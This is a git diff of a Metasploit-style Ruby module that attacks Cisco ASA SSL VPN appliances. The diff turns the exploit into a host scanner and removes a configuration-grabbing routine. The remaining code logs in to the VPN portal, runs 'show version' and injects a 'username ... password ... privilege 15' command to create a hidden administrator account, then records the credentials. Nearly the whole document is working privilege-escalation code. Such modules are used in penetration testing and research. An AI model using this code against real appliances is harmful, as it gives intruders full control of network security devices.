@@ -51,21 +51,18 @@ def initialize(info = {})
51
51
52
52
end
53
53
54
- # Verify whether the connection is working or not
55
- def validate_connection
54
+ def validate_cisco_ssl_vpn
56
55
begin
57
56
res = send_request_cgi (
58
57
'uri' => '/' ,
59
58
'method' => 'GET'
60
59
)
61
60
62
- print_good ( "#{ peer } - Server is responsive" )
61
+ print_good "#{ peer } - Server is responsive"
63
62
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError , ::Errno ::EPIPE
64
- fail_with ( Failure :: NoAccess , " #{ peer } - Server is unresponsive" )
63
+ return false
65
64
end
66
- end
67
65
68
- def validate_cisco_ssl_vpn
69
66
res = send_request_cgi (
70
67
'uri' => '/+CSCOE+/logon.html' ,
71
68
'method' => 'GET'
@@ -84,10 +81,9 @@ def validate_cisco_ssl_vpn
84
81
if res &&
85
82
res . code == 200 &&
86
83
res . body . include? ( 'webvpnlogin' )
87
-
88
- print_good ( "#{ peer } - Server is Cisco SSL VPN" )
84
+ return true
89
85
else
90
- fail_with ( Failure :: NoAccess , " #{ peer } - Server is not a Cisco SSL VPN" )
86
+ return false
91
87
end
92
88
end
93
89
@@ -100,9 +96,7 @@ def do_logout(cookie)
100
96
101
97
if res &&
102
98
res . code == 200
103
- print_good ( "#{ peer } - Logged out" )
104
- else
105
- fail_with ( Failure ::NoAccess , "#{ peer } - Attempted to logout, but failed" )
99
+ print_good "#{ peer } - Logged out"
106
100
end
107
101
end
108
102
@@ -132,53 +126,31 @@ def do_show_version(cookie, tries = 3)
132
126
resp . body . include? ( 'Cisco Adaptive Security Appliance Software Version' )
133
127
return resp . body
134
128
else
135
- print_good ( "#{ peer } - Unable to run '#{ command } '" )
136
- print_good ( "#{ peer } - Retrying #{ i } '#{ command } '" ) unless i == 2
137
- end
138
- end
139
-
140
- return nil
141
- end
142
-
143
- def get_config ( cookie , tries = 10 )
144
- # Make up to three attempts because server can be a little flaky
145
- tries . times do |i |
146
- resp = send_request_cgi (
147
- 'uri' => "/admin/config" ,
148
- 'method' => 'GET' ,
149
- 'cookie' => cookie
150
- )
151
-
152
- if resp &&
153
- resp . body . include? ( 'ASA Version' )
154
- print_good ( "#{ peer } - Got Config!!!" )
155
- return resp . body
156
- else
157
- print_good ( "#{ peer } - Unable to grab config" )
158
- print_good ( "#{ peer } - Retrying #{ i } to grab config (technique 1)" ) unless i == tries - 1
129
+ vprint_error "#{ peer } - Unable to run '#{ command } '"
130
+ print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == 2
159
131
end
160
132
end
161
133
162
134
return nil
163
135
end
164
136
165
- def add_user ( cookie , tries = 10 )
137
+ def add_user ( cookie , tries = 3 )
166
138
username = random_username ( )
167
139
password = random_password ( )
168
140
169
141
tries . times do |i |
170
- print_good ( "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } " )
142
+ print_good "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } "
171
143
command = "username #{ username } password #{ password } privilege 15"
172
144
resp = run_command ( command , cookie )
173
145
174
146
if resp &&
175
147
!resp . body . include? ( 'Command authorization failed' ) &&
176
148
!resp . body . include? ( 'Command failed' )
177
- print_good ( "#{ peer } - Privilege Escalation Appeared Successful" )
149
+ print_good "#{ peer } - Privilege Escalation Appeared Successful"
178
150
return [ username , password ]
179
151
else
180
- print_good ( "#{ peer } - Unable to run '#{ command } '" )
181
- print_good ( "#{ peer } - Retrying #{ i } '#{ command } '" ) unless i == tries - 1
152
+ vprint_error "#{ peer } - Unable to run '#{ command } '"
153
+ print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == tries - 1
182
154
end
183
155
end
184
156
@@ -230,29 +202,29 @@ def do_login(user, pass, group)
230
202
resp . body . include? ( 'SSL VPN Service' ) &&
231
203
resp . body . include? ( 'webvpn_logout' )
232
204
233
- print_good ( "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } " )
205
+ print_good "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } "
234
206
return resp . get_cookies
235
207
else
236
- fail_with ( Failure :: NoAccess , " #{ peer } - Failed to authenticate, check username/password/group" )
208
+ return false
237
209
end
238
210
239
211
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError , ::Errno ::EPIPE
240
- fail_with ( Failure :: NoAccess , " #{ peer } - HTTP Connection Failed, Aborting" )
212
+ return false
241
213
end
242
214
end
243
215
244
- def exploit
245
- # Validate we have a valid connection
246
- validate_connection ( )
247
-
216
+ def run_host ( ip )
248
217
# Validate we're dealing with Cisco SSL VPN
249
- validate_cisco_ssl_vpn ( )
218
+ unless validate_cisco_ssl_vpn ( )
219
+ vprint_error "#{ peer } - Does not appear to be Cisco SSL VPN"
220
+ :abort
221
+ end
250
222
251
223
# This is crude, but I've found this to be somewhat
252
224
# interimittent based on session, so we'll just retry
253
225
# 'X' times.
254
226
datastore [ 'RETRIES' ] . times do |i |
255
- print_good ( "#{ peer } - Exploit Attempt ##{ i } " )
227
+ print_good "#{ peer } - Exploit Attempt ##{ i } "
256
228
257
229
# Authenticate to SSL VPN and get session cookie
258
230
cookie = do_login (
@@ -261,24 +233,30 @@ def exploit
261
233
datastore [ 'GROUP' ]
262
234
)
263
235
236
+ # See if our authentication attempt failed
237
+ unless cookie
238
+ vprint_error "#{ peer } - Failed to login to Cisco SSL VPN"
239
+ next
240
+ end
241
+
264
242
# Grab version
265
- version = do_show_version ( cookie , 1 )
243
+ version = do_show_version ( cookie )
266
244
267
- if version_match = version . match ( /Cisco Adaptive Security Appliance Software Version ([\d +\. \( \) ]+)/ )
268
- print_good ( "#{ peer } - Show version succeeded. Version is Cisco ASA #{ version_match [ 1 ] } " )
245
+ if version &&
246
+ version_match = version . match ( /Cisco Adaptive Security Appliance Software Version ([\d +\. \( \) ]+)/ )
247
+ print_good "#{ peer } - Show version succeeded. Version is Cisco ASA #{ version_match [ 1 ] } "
269
248
else
270
249
do_logout ( cookie )
271
- print_good ( "#{ peer } - Show version failed" )
250
+ vprint_error "#{ peer } - Show version failed"
272
251
next
273
252
end
274
253
275
254
# Attempt to add an admin user
276
- creds = add_user ( cookie , 1 )
277
-
255
+ creds = add_user ( cookie )
278
256
do_logout ( cookie )
279
257
280
258
if creds
281
- print_good ( "#{ peer } - Successfully added level 15 account #{ creds . join ( ", " ) } " )
259
+ print_good "#{ peer } - Successfully added level 15 account #{ creds . join ( ", " ) } "
282
260
283
261
user , pass = creds
284
262
@@ -294,7 +272,7 @@ def exploit
294
272
295
273
report_auth_info ( report_hash )
296
274
else
297
- print_good ( "#{ peer } - Failed to created user account" )
275
+ vprint_error "#{ peer } - Failed to created user account on Cisco SSL VPN"
298
276
end
299
277
end
300
278
end
0 commit comments